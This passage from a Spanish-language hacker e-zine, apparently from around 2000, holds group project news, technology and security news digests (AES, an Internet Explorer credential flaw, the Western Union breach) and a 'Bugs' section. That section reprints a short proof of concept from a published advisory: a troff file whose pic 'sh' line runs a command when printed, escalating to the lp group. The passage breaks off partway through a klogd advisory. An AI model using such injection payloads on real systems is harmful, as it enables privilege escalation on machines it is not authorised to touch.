materia de I+D buscando vulnerabilidades por ahi. Ya tenemos un par de
advisories escritos, asi que pasaos por la web a ver que os parecen :)
>--[RC5]
Tambien seguimos dando ca~a al proyecto del RC5, que por cierto tenemos que
agradecer a todos los que estan apuntados a nuestro grupo mandando bloques,
todos estos:
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
Luis Ernesto
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
Participant #265,711
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
Si todavia no sabes que es esto del RC5, proyecto Bovine, bloques enviados
y demas, puedes informarte en http://www.cdlr.org/proyectos.htm donde tambien
esta la informacion necesaria para apuntarse a nuestro equipo, el 10377.
http://stats.distributed.net/rc5-64/tmsummary.php3?team=10377
>--[MK Linux]
El proyecto de distribucion de cd's de linux sigue adelante con exito, si
quieres colaborar con cd's virgenes, haciendo copias, o si necesitas alguna
distribucion puedes ponerte en contacto con nosotros en el mail
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
y ya veremos que podemos hacer.
>--[Seguridad-NT]
La lista que tenemos sobre Seguridad en Windows NT sigue en pie, tienes
informacion acerca de ella en http://nt.cdlr.org/proyectos.htm
Si quieres subscribirte manda un mail vacio a la siguiente direccion:
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
Deberas confirmar la subscripcion respondiendo el mail que se te enviara
desde EGroups y ya estaras dentro.
>--[Proyecto_R 11]
Bueno, ... depende de vosotros, si enviais articulos, mails, colaboraciones
... el zine saldra antes, si no lo haceis, tardara mas.
Pero si quereis enviar algun articulo debeis seguir ciertas reglas basicas:
- Debe estar formateado a 78 columnas, ni una mas. Es realmente molesto
quemar horas formateando textos, si cada uno formatea su propio articulo,
pues mucho mejor.
- Sin faltas de ortografia, esto es muy importante, hemos recibido
autenticas joyas en cuanto a ortografia se refiere. No se publicara
ningun articulo mal escrito, con faltas graves ....
- Si enviais articulos muy grandes, no los envieis por partes, hacedlo todo
de una vez y nosotros seremos los que lo dividamos, o no, en capitulos.
:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:
-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-
..--:: 10. Noticias del Mundo del Espectaculo ::--..
by Mate & TnK
MACROMEDIA Y HEARME OFRECEN INTERACTIVIDAD BASADA EN VOZ PARA LA WEB
--------------------------------------------------------------------
A fines de la semana pasada, Macromedia -el proveedor lider de soluciones
para crear paginas web efectivas y de alto impacto- y HearMe, una compa~ia de
vanguardia en tecnologias avanzadas para comunicacion de voz en tiempo real,
dieron a conocer el uso conjunto de sus tecnologias multimedia para hacer
posible el sitio del reconocido actor y comediante norteamericano Wayne
Brady, estrella del programa "Whose Line Is It Anyway?" de la cadena ABC.
El site de Wayne Brady es un sitio-comunidad para los fanaticos de este actor
y cuenta con salones de chat multiusuario compatibles con voz que permiten
que Brady presente improvisaciones dinamicas e interactivas manipuladas
gracias a la informacion introducida en tiempo real por el usuario.
De esta forma, la pagina permite que cientos de miles de visitantes
establezcan conversaciones y escuchen la voz de Brady en tiempo real.
Simultaneamente, el actor puede controlar una representacion animada de si
mismo que puede visualizarse en la pantalla de cada uno de los visitantes.
Este sitio utiliza contenido de Shockwave de Macromedia optimizado con la
tecnologia VoiceXTRA de HearMe para distribuir los salones de chat
compatibles con voz, los eventos improvisados y una serie de juegos online.
"La tecnologia de Macromedia y HearMe me permite comunicarme personalmente
con mis fanaticos online, conservado en todo momento la interactividad de un
evento en vivo", comento Wayne Brady.
[NdE: ¿ No os suena esto a esos anuncios donde las grandes super top-models
nos dicen que con la nueva mascara de ojos de Margaret AsKor todos los
hombres las miran con ojos de lascivia y deseo ? ]
El sitio fue desarrollado por Zeek Interactive y cuenta ademas con un espacio
de chat donde los miembros del sitio pueden comunicarse e interactuar
utilizando voz.
"Wayne Brady es mejor conocido por su habilidad de improvisar en vivo, lo
cual fue un reto al crear este sitio ya que teniamos que llevar las
caracteristicas de inmediatez e intimidad de un evento comico improvisado a
la Web", se~alo Steve Zehngut, presidente de Zeek Interactive. "Con las
tecnologias de Shockwave de Macromedia y de voz de HearMe, los usuarios
online pueden interactuar con Brady, escuchar su voz en tiempo real y
observar una representacion online del mismo Brady para aumentar la calidad
de su improvisacion."
La interaccion utilizando voz es posible gracias a la combinacion del
Director 8 Shockwave Studio de Macromedia, el Reproductor Shockwave Player de
Macromedia y VoiceXTRA de HearMe, que juntos forman la unica solucion
integral disponible en el mercado para las comunidades multimedios online
compatibles con voz.
PRESENTAN UN MOUSE QUE PERMITE "SENTIR" LAS PAGINAS WEB
-------------------------------------------------------
En el dia de ayer, la compa~ia Logitech dio a conocer los flamantes iFeel
Mouse y iFeel MouseMan, los primeros dispositivos de este tipo que transmiten
vibraciones a las personas al realizar scrolls sobre un link en las paginas
web o al colocar el cursos sobre los menues que abren ventanas.
A partir de mediados de septiembre, los consumidores podran -en el mercado
norteamericano- adquirir ambos mouse en negocios y en la pagina web de la
empresa fabricante.
Tal cual informo la compa~ia, el iFeel Mouse -tanto para derechos como para
zurdos- tendra tres botones y su precio de venta sera de 39,95 dolares. Con
un dise~o mas estilizado y un cuarto boton para el pulgar de los derechos, el
iFeel MouseMan costara 59,95 dolares.
"Esta es una categoria totalmente nueva dentro de los aparatos de este tipo",
comento uno de los representantes de venta de Logitech, Jan Edbrooke. "Hasta
ahora, el mouse era utilizado para se~alar y como boton de entrada a traves
de los clicks. Ahora, vamos mucho mas alla ya que estos flamantes mouses
proveen un feedback gracias a las vibraciones dactilares", agrego Edbrooke.
Lo novedoso de estos productos es que cuentan con un chip optico que
reemplaza la bola convencional que tienen los mouse en su base, lo que hace
que haya mas espacio dentro del recipiente plastico donde cabe un peque~o
motor. Una barra plastica le indica al motor, el cual esta atado a un peque~o
vibrador, el momento en que el cursor "aprieta" un link o un comando del tipo
pull-down. El motor y el vibrador se apagan cuando el cursor se encuentra un
"terreno neutral", mientras que las vibraciones pueden ser desactivadas o
minimizadas si se transforman en un elemento de distraccion para el usuario.
Segun comento Edbrooke, de convertirse en algo popular, estos nuevos
dispositivos podrian producir nuevos desarrollos sensoriales para las
computadoras. Tal cual se~ala el representante de marketing de Logitech,
muchas compa~ias relacionadas con el universo del comercio electronico estan
trabajando en diversos software que le permiten al mouse "sentir" estructuras
o materiales, como una forma potencial de incrementar y mejorar la forma en
que se vende a traves de la web.
EL NUEVO ESTANDAR DE CIFRADO
----------------------------
En 1996, el Instituto Nacional de Estandares y Tecnologia (National Institute
of Standards and Technology, NIST) dio los primeros pasos para la
consolidacion de un Estandar de Cifrado Avanzado (Advanced Encryption
Standard, AES). Su objetivo fue desarrollar una especificacion para encontrar
un algoritmo de cifrado que sustituya al agonizante DES (56 bits de clave,
por lo que resulta inseguro actualmente, y dise~o orientado a hardware, por
lo que resulta relativamente ineficiente en software), de manera que el nuevo
algoritmo sea capaz de proteger la informacion sensible de los ciudadanos y
del gobierno hasta bien entrado el siglo XXI.
Se espera que el algoritmo seleccionado sea utilizado por el Gobierno de
Estados Unidos y voluntariamente por el sector privado, en sustitucion de DES.
Por extension, presumiblemente seria adoptado por el resto de paises del
mundo.
En septiembre de 1997, se realizo una convocatoria para la presentacion de
algoritmos, en la que se especificaron los siguientes criterios de evaluacion
y requisitos minimos de aceptacion:
1. Ser publico.
2. Ser un algoritmo de cifrado en bloque simetrico.
3. Estar dise~ado de manera que se pueda aumentar la longitud de la clave
segun las necesidades.
4. Ser implementable tanto en hardware como en software.
5. Estar o bien
a) disponible gratuitamente, o bien
b) disponible bajo terminos consistentes con la politica de patentes
del Instituto Nacional Americano de Estandares (American National
Standards Institute, ANSI).
6. Los algoritmos que cumplan con los requisitos arriba citados seran
juzgados de acuerdo con los siguientes factores:
a) seguridad (e.d., el esfuerzo necesario para criptoanalizarlos)
b) eficiencia computacional
c) requisitos de memoria
d) adecuacion hardware y software
e) simplicidad de dise~o
f) flexibilidad
g) requisitos de licencia.
Los algoritmos propuestos tenian ademas que soportar obligatoriamente una
longitud de bloque de 128 bits y una longitud de clave de 128, 192 y 256, al
margen de cualesquiera otras longitudes posibles. La razon por la que se ha
exigido la posibilidad de utilizar claves de 192 y 256 es que a pesar de que
una clave de 128 bits es totalmente "imposible" de reventar probando todas
las posibles combinaciones con los recursos computacionales actuales, no
puede asegurarse que en un futuro proximo el estado del arte de la
computacion no vaya a permitir reventar claves de esa longitud. Dado que el
estandar se desea que pueda utilizarse hasta bien entrado el siglo XXI, por
lo menos hasta el a~o 2060, se debe realizar una eleccion conservadora. Los
ultimos avances teoricos en computacion cuantica hacen temer que en un plazo
breve, si se construyesen estos ingenios, los problemas numericos hoy
considerados irresolubles en un tiempo razonable, como la factorizacion o los
logaritmos discretos, se podran resolver mucho mas rapido (en un tiempo igual
a la raiz cuadrada del empleado por un ordenador digital tradicional),
tirando por tierra la seguridad de los algoritmos criptograficos con
longitudes de claves actuales. La raiz cuadrada del numero de todas las
claves posibles de 256 bits (esto es, 2256) es igual al numero de todas
claves posibles de 128 bits (esto es, sqrt(2256)=2256/2=2128). En otras
palabras, asumiendo las velocidades previstas, una maquina cuantica
tardaria el mismo tiempo en realizar una busqueda exhaustiva en un espacio de
claves de 256 bits que un ordenador digital actual en un espacio de claves de
128 bits, y por lo tanto se trataria de una tarea irrealizable.
Conforme a las bases de esta propuesta, en agosto de 1998 se aceptaron quince
candidatos durante la Primera Conferencia de Candidatos a AES (AES1),
a saber:
CAST-256
CRYPTON
DEAL
DFC
E2
FROG
HPC
LOKI97
MAGENTA
MARS
RC6
RIJNDAEL
SAFER+
SERPENT
TWOFISH
La Segunda Conferencia de Candidatos a AES (AES2) se celebro en marzo de 1999
para discutir los resultados de las numerosas pruebas y ejercicios de
criptoanalisis realizados por la comunidad criptografica mundial sobre los
quince candidatos. Basandose en estos comentarios y analisis, NIST selecciono
cinco candidatos finalistas: MARS, RC6, Rijndael, Serpent y Twofish.
El pasado mes de abril de 2000 se celebro la Tercera Conferencia de
Candidatos AES (AES3) en Nueva York, durante la cual los asistentes
presentaron nuevos documentos de evaluacion y criptoanalisis de los ultimos
cinco candidatos.
Por fin, el 2 de octubre deL 2000, el NIST anuncio el algoritmo ganador:
Rijndael, propuesto por los belgas Vincent Rijmen y Joan Daemen (de ahi su
nombre). Rijndael es un cifrador de bloque que opera con bloques y claves de
longitudes variables, que pueden ser especificadas independientemente a 128,
192 o 256 bits. El resultado intermedio del cifrado se denomina Estado, que
puede representarse como un array rectangular de bytes de cuatro filas. La
transformacion que tiene lugar en cada vuelta de cifrado esta compuesta a su
vez de cuatro transformaciones diferentes:
Sustitucion de bytes no lineal, operando independientemente sobre cada uno de
los bytes del Estado. Desplazamiento de las filas del Estado ciclicamente con
offsets diferentes. Mezcla de columnas, que se realiza multiplicando las
columnas del Estado modulo x4+1, consideradas como polinomios en GF(28), por
un polinomio fijo c(x). Adicion de la clave de vuelta, en la que se aplica al
Estado por medio de un simple XOR. La clave de cada vuelta se deriva de la
clave de cifrado mediante el esquema de clave. El esquema de clave consiste
en dos operaciones: expansion de clave y seleccion de clave de vuelta de
cifrado.
El proceso de cifrado consta de tres pasos: una adicion inicial de la clave
de vuelta, n-1 vueltas de cifrado y una vuelta final. Para una descripcion
detallada del algoritmo, consultese el documento de los autores, "AES
Proposal: Rijndael''.
Ahora ya solo queda ejecutar los ultimos pasos legales y burocraticos para
que el Secretario de Comercio estadounidense lo adopte como un estandar
federal. Todas las aplicaciones y comunicaciones, especialmente bancarias,
que hacian uso del DES, seran actualizadas paulatinamente a Rijndael, de
manera que antes de la primavera de 2001 se espera que de DES no quede rastro
mas que en los libros de texto. Como el algoritmo es publico y no necesita
ser licenciado, cualquier otro pais distinto de los EEUU podra adoptarlo
igualmente como estandar en sus propias aplicaciones si asi lo desea. A
partir del proximo a~o, Rijndael pasara a formar parte de nuestras vidas.
NUEVA LEY APROBADA POR EL COMITE DE JUSTICIA DEL SENADO YANQUI
--------------------------------------------------------------
El Comite de Justicia del Senado estadounidense aprobo una ley que clarifica
las facultades y atribuciones de la autoridad para aplicar leyes federales al
enjuiciar la intrusion informatica y otros delitos informaticos. De igual
modo determino asignar mas fondos publicos a las agencias que investigan tal
segmento delictivo.
Una de las disposiciones que fue corregida trata sobre la actual ley federal
de da~os por 5.000 dolares causados por crimenes ciberneticos. En la actual
ley, un delito que cause da~os por un monton menor a los 5.000 dolares no cae
bajo la jurisdiccion federal a menos que se considere que el crimen sea una
amenaza a la seguridad publica, da~e a una persona o impida un tratamiento
medico. El proyecto de ley original habia eliminado el principio de los 5.000
dolares, por lo que una gran variedad de delitos informaticos menores se
hubieran elevado al nivel de ofensa federal.
El documento corregido retiene el principio de los 5.000 dolares para
jurisdiccion federal cuando se trate de ataques de hackers, la propagacion de
virus y otros crimenes informaticos comunes, pero no clarifica como son
calculados los 5000 dolares en da~os y limita las acciones civiles excluyendo
dise~o o manufactura negligente de hardware, software y firmware. Este
texto original tambien hubiera hecho de un acceso sin autorizacion a una
computadora personal un crimen federal. El comite elimino, entre otras cosas,
una propuesta que habria elevado a nivel federal abusos o fraudes
informaticos perpetrados por empleados gubernamentales. Tambien elimino la
intencion de intensificar el enjuiciamiento de menores de edad que
incurrieran en delitos informaticos.
Por otra parte, el documento autorizaria la asignacion de 100 millones de
dolares para el establecimiento de un centro nacional de soporte tecnico
contra el crimen cibernetico y 10 laboratorios regionales para computadoras
forenses. Adicionalmente la nueva ley podria otorgar 5 millones de dolares a
la division de Delitos Informaticos y Propiedad Intelectual del Departamento
de Justicia.
PRIVACIDAD EN EEUU
------------------
El 97 por ciento de los sitios web del gobierno de los EEUU no cumple con los
cuatro principios basicos de privacidad que la Comision Federal de Comercio
(FTC) ha recomendando hacer obligatorios para todos los portales del sector
privado, segun un informe gubernamental.
De acuerdo al informe, solo el tres por ciento de los sitios federales
investigados implantaron los cuatro principios basicos de privacidad de FTC.
El reporte se~ala que aunque el 85 por ciento de los sitios cumple con los
standares gubernamentales en lo concerniente a la fijacion de una declaracion
de privacidad claramente accesible, fallan al cumplir con los criterios de
FTC solo el 45 por ciento cumple con el criterio de "seleccion", el 23 por
ciento cumple con el criterio "seguridad", y solo el 17 por ciento con el
criterio "acceso".
Treinta y dos de los sesenta y cinco sitios investigados fueron llamados de
"alto impacto", ya que son agencias que manejan el 90 por ciento de la
interaccion del gobierno con la ciudadania.
El reporte se~alo que 24 por ciento de los sitios de "alto impacto" advertian
a los visitantes del posible uso de cookies por parte de terceros. De estos,
21 por ciento dijeron que permiten la colocacion de cookies por parte de
terceros en los discos duros de los usuarios. Por su parte la Casa Blanca
critico el reporte, diciendo que es enga~oso y que no toma en cuenta el
progreso que los sitios federales han realizado.
PRIVACIDAD DEL CORREO EN LAS EMPRESAS
-------------------------------------
Los empresarios podran controlar los "e-mails" y las llamadas telefonicas de
sus empleados de acuerdo con una decision del Gobierno britanico de dotar de
mas libertad legal a los directivos para vigilar el rendimiento laboral.
A partir del 24 de octubre las empresas tendran permiso para tener "acceso
rutinario" a los correos y a las llamadas telefonicas de sus trabajadores con
el objetivo de comprobar todo aquello que se refiera a cuestiones de trabajo.
Patricia Hewitt, Secretaria de Estado britanico de Internet y de peque~as
empresas, preciso que "no obstante las empresas tendran limitaciones legales,
como la de no poder interceptar llamadas personales sin razones justificadas".
Hewitt puntualizo que resulta dificil equilibrar las necesidades de las
empresas con los derechos de cada individuo. "Como se trata de una cuestion
compleja nos hemos dado tiempo para consultar con las compa~ias y confio en
que la nueva regulacion se ajustara a las necesidades de todos", a~adio.
Por su parte, los sindicatos que han manifestado sus quejas ante esta
decision advierten que la nueva regulacion podria dar "carta blanca" a los
directivos para inmiscuirse en los asuntos privados de los trabajadores.
VULNERABILIDAD EN EL IEXPLORER
------------------------------
Una vulnerabilidad en el navegador de Microsoft puede revelar el nombre de
usuario y contrase~a utilizados para autentificarnos ante un servicio Web
seguro, como suele ser habitual en comercios electronicos o servicios de
banca a traves de Internet. El problema afecta a Internet Explorer 4.x y las
versiones 5.x anteriores a la 5.5. Los servidores seguros establecen un canal
cifrado, via el protocolo SSL por ejemplo, de forma que los datos que viajan
entre el navegador del usuario y el servidor Web no puedan ser interpretados
por un tercero que "escuche" el trafico. Entre el navegador y el servidor
seguro se establece un dialogo donde negocian que version de SSL van a
utilizar, que algoritmos de cifrado simetrico soportan, e intercambian los
desafios y claves publicas para enviar la clave maestra. De cara al usuario,
toda esta negociacion y posterior cifrado es transparente, tan solo el aviso
de que va a conectar con un servidor seguro y un icono en el navegador un
candado cerrado en el caso de Internet Explorer, recuerdan al usuario de que
esta utilizando una sesion segura.
Las transacciones via Web que requieren seguridad deben de utilizar este tipo
de servidores, por ejemplo los servicios de banca a traves de Internet.
En estos sitios ya se establece la conexion segura antes de que introduzcamos
nuestro nombre o numero de usuario y contrase~a, de manera que esos datos ya
vayan cifrados y no puedan ser robados por alguien que "escuche" la
transmision. Por descontado, esta conexion segura se mantiene durante la
sesion para proteger toda la informacion sensible que viaja durante las
transacciones que realicemos con nuestra cuenta del banco.
Internet Explorer almacena en una cache el nombre de usuario y contrase~a
utilizados en la autentificacion basica a traves de una sesion segura para
automatizar y minimizar el numero de veces que el usuario debe autentificarse
si el mismo sitio lo requiriese de nuevo. En teoria Internet Explorer solo
deberia enviar estos datos bajo una conexion segura, la realidad es que es
posible provocar el envio de los datos almacenados en la cache bajo sesiones
no cifradas.
Este defecto provoca que un atacante "escuchando" entre el usuario final y el
servidor web seguro, pueda hacer una peticion de autentificacion haciendose
pasar por el servidor y utilizando una sesion no segura. El resultado es que
el atacante recibe sin ningun tipo de cifrado el nombre de usuario y la
contrase~a, por lo que puede acceder al sitio web seguro suplantando al
usuario legitimo.
Los usuarios afectados cuya version de navegador aun no disponga de su
correspondiente parche pueden optar por actualizarse a Internet Explorer 5.5,
que esta libre del problema. Si prefieren esperar, opcion no recomendada,
deberan cerrar Internet Explorer tras terminar una sesion segura y volver a
iniciarlo para seguir navegando. De esta forma se minimiza el riesgo de
sufrir el ataque ya que la cache donde se almacena el nombre de usuario y
contrase~a se borra cada vez que se cierra el navegador.
WESTERN UNION CRACKED
---------------------
El sitio web de Western Union, sufrio una intrusion informatica recientemente
Los atracadores virtuales se hicieron con la informacion de 15.700 tarjetas
de credito y debito de usuarios que utilizan sus servicios. La compa~ia
atribuye el agujero de seguridad al error de un administrador del sistema
durante unas operaciones rutinarias de mantenimiento.
Hace unos dias, Western Union, parte de First Data Corp, el gigante de los
pagos electronicos anunciaba con orgullo el lanzamiento de MoneyZap, un nuevo
servicio de pagos persona a persona via Internet. Un dia mas tarde, su sitio
web (http://www.westernunion.com/) seria victima de uno de los mayores robos
de informacion sensible en la historia del comercio electronico en Internet.
Un domingo, dos dias despues de que se detectara la intrusion, la compa~ia
suministro a Visa y MasterCard los numeros de las tarjetas robadas. Despues
de ese fin de semana la Western Union comenzo a informar de forma directa a
los afectados via telefono, correo tradicional, y e-mail. Hasta la fecha, no
se ha detectado, o no se ha hecho publica, la utilizacion fraudulenta de la
informacion sustraida.
Sin duda, la trascendencia de este hecho no solo perjudica a la Wester Union,
sino que salpica a todo el comercio electronico en Internet. Los esfuerzos
por concienciar a los usuarios de la seguridad en las transacciones por la
Red sufren un desgaste importante ante la opinion publica que recibe con
alarma este tipo de sucesos.
Hoy dia existe tecnologia y soluciones para proveer un nivel de seguridad en
Internet mas que aceptable, superior al que podemos encontrar en las
transacciones que a diario realizamos en el mundo "real". Si bien como puede
ocurrir en cualquier negocio tradicional, no todo el mundo utiliza los
sistemas de proteccion apropiados ni los administra de forma adecuada y nadie
esta libre del error humano.
MICROSOFT, WINDOWS, MONOPOLIOS...
---------------------------------
Windows Me con Media Player acentua el monopolio de Microsoft. Incorpora
tantas utilidades que termina por cubrir casi todas las necesidades de la era
digital en cuanto a comunicacion, mensajeria, tratamiento de imagenes y video.
Y es precisamente en las ventajas para el usuario donde reside el problema.
Microsoft es una maquina empresarial de tal potencia vendedora que incurre
cada dos minutos en un monopolio. Su ejercito de vendedores fuertemente
motivados es una fuerza de choque que desafia permanentemente a las
autoridades antitrust.
Con Windows Me se repite, multiplicada, la historia de Windows 98. Ya no solo
hablamos de que el navegador Explorer haya monopolizado el mercado con el
ardid de que era parte del nucleo de Windows 98. Ahora nos referimos al
reproductor de audio (Windows Media Player 7) y al editor de peliculas (Movie
Maker) dos programas de gran utilidad para el usuario, que avanzan en su
implantacion a velocidad de vertigo. MS Windows Media Player 7 solo tiene
enfrente al software de Real.com; la batalla que se planteara recuerda a la
que hace tres a~os Microsoft sostuvo con Netscape hasta relegarlo a una cuota
de mercado inferior al 20 %. La compa~ia de Redmond tiene todas las de ganar.
La polemica, sin que todavia se haya materializado la particion en dos de
Microsoft, esta servida. Los jueces y el sistema de justicia actua demasiado
lentamente, siendo incapaz de digerir el vertigo innovador del software. La
primera voz de alarma ha sido lanzada esta semana por el conocido experto y
defensor de los consumidores Brian Livingston, autor del libro "Windows Me
Secrets" quien ha dicho que "Microsoft ha cruzado la linea al ofrecer junto a
Windows Me dos programas (Media Player y Movie Maker) que no son parte del
sistema operativo".
Ambas aplicaciones se instalan por defecto, sin que el usuario tenga
posibilidad de eliminarlas una vez que corre el sistema operativo. "Microsoft
ha dise~ado estos programas gratuitos para eliminar a competidores que venden
software de audio y video, tal como sucedio en el pasado", explica. La
compa~ia de Redmond no parece intranquila; su argumento de que la informatica
es muy popular, la industria es extremadamente competitiva y todo se hace en
beneficio del cliente es inapelable sin que el sistema economico, politico y
judicial de hoy sea capaz de contrarrestarlo. El monopolio de Microsoft es un
problema que trasciende el hecho economico y no presenta visos de resolucion.
COREL SALVADO POR MICROSOFT
---------------------------
La empresa canadiense Corel recibe la inyeccion economica que necesitaba
desesperadamente. Microsoft acude en su auxilio y adquiere acciones de la
empresa por valor de 25.500 millones de pesetas.
La intervencion ha sido definida como una alianza estrategica dirigida a
desarrollar la iniciativa .Net de Microsoft. La empresa de Bill Gates asegura
que con ella gana un importante socio. Corel, por su parte, reconoce que
recibe la ayuda financiera que necesitaba. Corel, es conocida por tener
WordPerfect y por su software para graficos CorelDraw. Hace un a~o la empresa
entro en el sector de software gratuito al ofrecer WordPerfect para el
sistema operativo Linux.
Microsoft se ha hecho con 24 millones de acciones sin derecho a voto. Es
decir que por el momento no puede participar en las decisiones del Consejo de
Administracion de Corel. Sin embargo, si esas acciones pasan a ser ordinarias
Microsoft poseeria el 24,6 de la empresa canadiense.
NUEVA FUENTE DE ENERGIA
-----------------------
Los laboratorios de Motorola presentaron el prototipo de una nueva
microcelula de combustible que podra en el futuro, aumentar hasta un mes la
autonomia de aparatos electronicos portatiles como computadoras o telefonos
celulares.
La nueva celula de combustible, que tiene cinco veces la densidad de energia
de una pila recargable convencional, fue recientemente presentada al publico
en la Conferencia Power 2000 realizada en San Diego, California.
Este prototipo de celula, un cuadrado de 5 cm de lado x 1 cm de grueso, es el
primer paso hacia la creacion de una microcelula de combustible, de larga
capacidad, duracion, y ademas descargable, que podra ser usada en laptops por
varios meses seguidos sin necesitar recargarse.
Todavia con varios a~os de investigacion por adelante, esta innovacion
tecnologica parece ser el futuro de las fuentes de energia para aparatos
portatiles.
Los principales desafios tecnicos tienen que ver con la dificultad en la
miniaturizacion del sistema, y con la produccion de celulas con costos
menores que los de las pilas convencionales. Motorola ha trabajado en el
proyecto en cooperacion con el Laboratorio Nacional de Los Alamos, que es
operado por la Universidad de California.
Para producir energia, la microcelula de ceramica usa un deposito de metanol
que, cuando es combinado con el oxigeno del aire, genera electricidad a
temperatura ambiente. Esta es una tecnologia "verde", ya que la celula solo
necesita de aire y metanol, un alcohol de madera barato y abundante. El vapor
de agua, el cual es el producto de la reaccion, es reciclado y retorna al
sistema.
La estrategia inicial prevee el desarrollo de un sistema hibrido de celulas
de combustible y pilas tradicionales. El concepto basico de una celula de
combustible para transformar energia de una reaccion quimica en electricidad,
tiene ya mas de 160 a~os, pero su primera aplicacion practica ocurrio en
1960, cuando la NASA desarrollo una celula de hidrogeno presurizado para el
programa espacial.
MICROSOFT HACKED
----------------
Se ha escrito mucho sobre este tema, y las unicas conclusiones que merecen la
pena son las que dudan mucho acerca de este supuesto hackeo y robo de las
fuentes famosas.
Sinceramente, ... nadie con conocimientos medios de seguridad en redes podria
creerse la patra~a que dio MS como version oficial de los hechos. Nadie duda
que alguien haya entrado en la red de MS, pero de ahi a ser de la forma que
ellos afirman, hay un trecho bien largo.
En estos tiempos es totalmente inconcebible que una empresa de la categoria
de MS no dispusiera de un firewall convenientemente configurado, y mucho
menos que un profesional de la empresa cometa la estupidez de ser infectado
por un troyano de esos. Tambien es dificil de creer que un hacker con un
minimo de ambiciones de algo grande use ese tipo de herramientas, pero
bueno ...
:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:
-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-
..--:: 11. Bugs ::--..
by TeeSPy & Nexus
----------------------------------
Vulnerabilidad en lpr-0.50-4,
y seguramente versiones anteriores
----------------------------------
Vulnerable: lpr-0.50-4 & antiguos
Advisory Original: http://crash.ihug.co.nz/~Sneuro/lpd-adv.txt
Descubierta por: zenith-parsec
lpr es el daemon de impresion usado por la mayoria de los sistemas UNIX,
incluyendo linux.
La version de lpr usada en redhat linux es vulnerable al siguiente ataque. La
vulnerabilidad propiamente tal no esta en el lpr, sino que en el perl script
"grog", el cual debido a un problema de dise~o permite que cualquier usuario
pueda escalar privilegios, llegando a tener acceso al grupo lp.
Para que el ataque funcione, se necesita que el daemon lpd este corriendo,
una impresora que haga "troff" (por ejemplo una impresora PostScript).
Del archivo "/usr/lib/rhs/rhs-printfilters/troff-to-ps.fpi":
`grog -Tps -msafer $TMP_FILE`
grog es un script de perl que selecciona las opciones de linea de comando
correctas para groff. groff puede, con ciertas opciones, correr una variedad
de otros comandos, como eqn (para ecuaciones), tbl (para tablas), y pic
(para compilar graficos).
La opcion '-msafer' significa no permitir la llamada a ninguna funcion
peligrosa, como ejecutar algun comando o crear/sobreescribir algun archivo.
Sin embargo, pic es llamado sin esa opcion, aunque si que se llama con la
opcion -S, que lo hace correr en un modo mas seguro.
Entonces, lpd revisa que tipo de archivo es, valga la redundancia, el
archivo, con un programa llamado "file".
El tipo de este archivo es "troff" o "preprocessor", con lo que el daemon lo
pasa a los filtros apropiados para ser impreso, uno de estos filtros siendo
"/usr/lib/rhs/rhs-printfilters/troff-to-ps.fpi", el cual contiene el comando
grog vulnerable, lo que causa que grog ejecute pic en el archivo, y pic
ejecuta el archivo que especificamos como el usuario por el que el archivo
fue impreso.
Entonces, con una exepcion, estamos dentro de una lista de grupos que
contienen un solo grupo: lp
El grupo lp puede escribir en los archivos de configuracion del daemon lpd,
y lpd puede correr comandos como cualquier usuario, exepto como root.
Ejemplo (tomado, al igual que toda la informacion de este informe, del
advisory original):
[zen@continuity /tmp]$ id
uid=500(zen) gid=500(zen) groups=500(zen)
[zen@continuity /tmp]$ cat asdf
.PS
sh D/usr/bin/id>/tmp/yougetanyideasyetD
.PF
[zen@continuity /tmp]$ lpr asdf
[zen@continuity /tmp]$ ls -al /tmp/yougetanyideasyet;cat /tmp/yougetanyideasyet
-rw-rw-rw- 1 zen zen 39 Oct 16 22:08 /tmp/yougetanyideasyet
uid=500(zen) gid=500(zen) groups=7(lp)
[zen@continuity /tmp]$
-----------------------------------------------
Vulnerabilidad en klogd (Kernel Logging Daemon)
-----------------------------------------------
Advisory Original: Salio en un post a bugtraq (www.securityfocus.com)
Descubierta por: Jouko Pynn?nen
klogd es un daemon que loggea los mensajes del kernel.
klogd contiene un "format bug", haciendolo vulnerable a un ataque local con
el que podriamos conseguir root.
Normalmente klogd lee los mensajes del kernel desde /proc/kmsg, y despues
procesarlos, los pasa a syslogd, el cual escribe los mensajes a los archivos
de sistema en donde tenemos los logs (normalmente /var/log/messages, pero
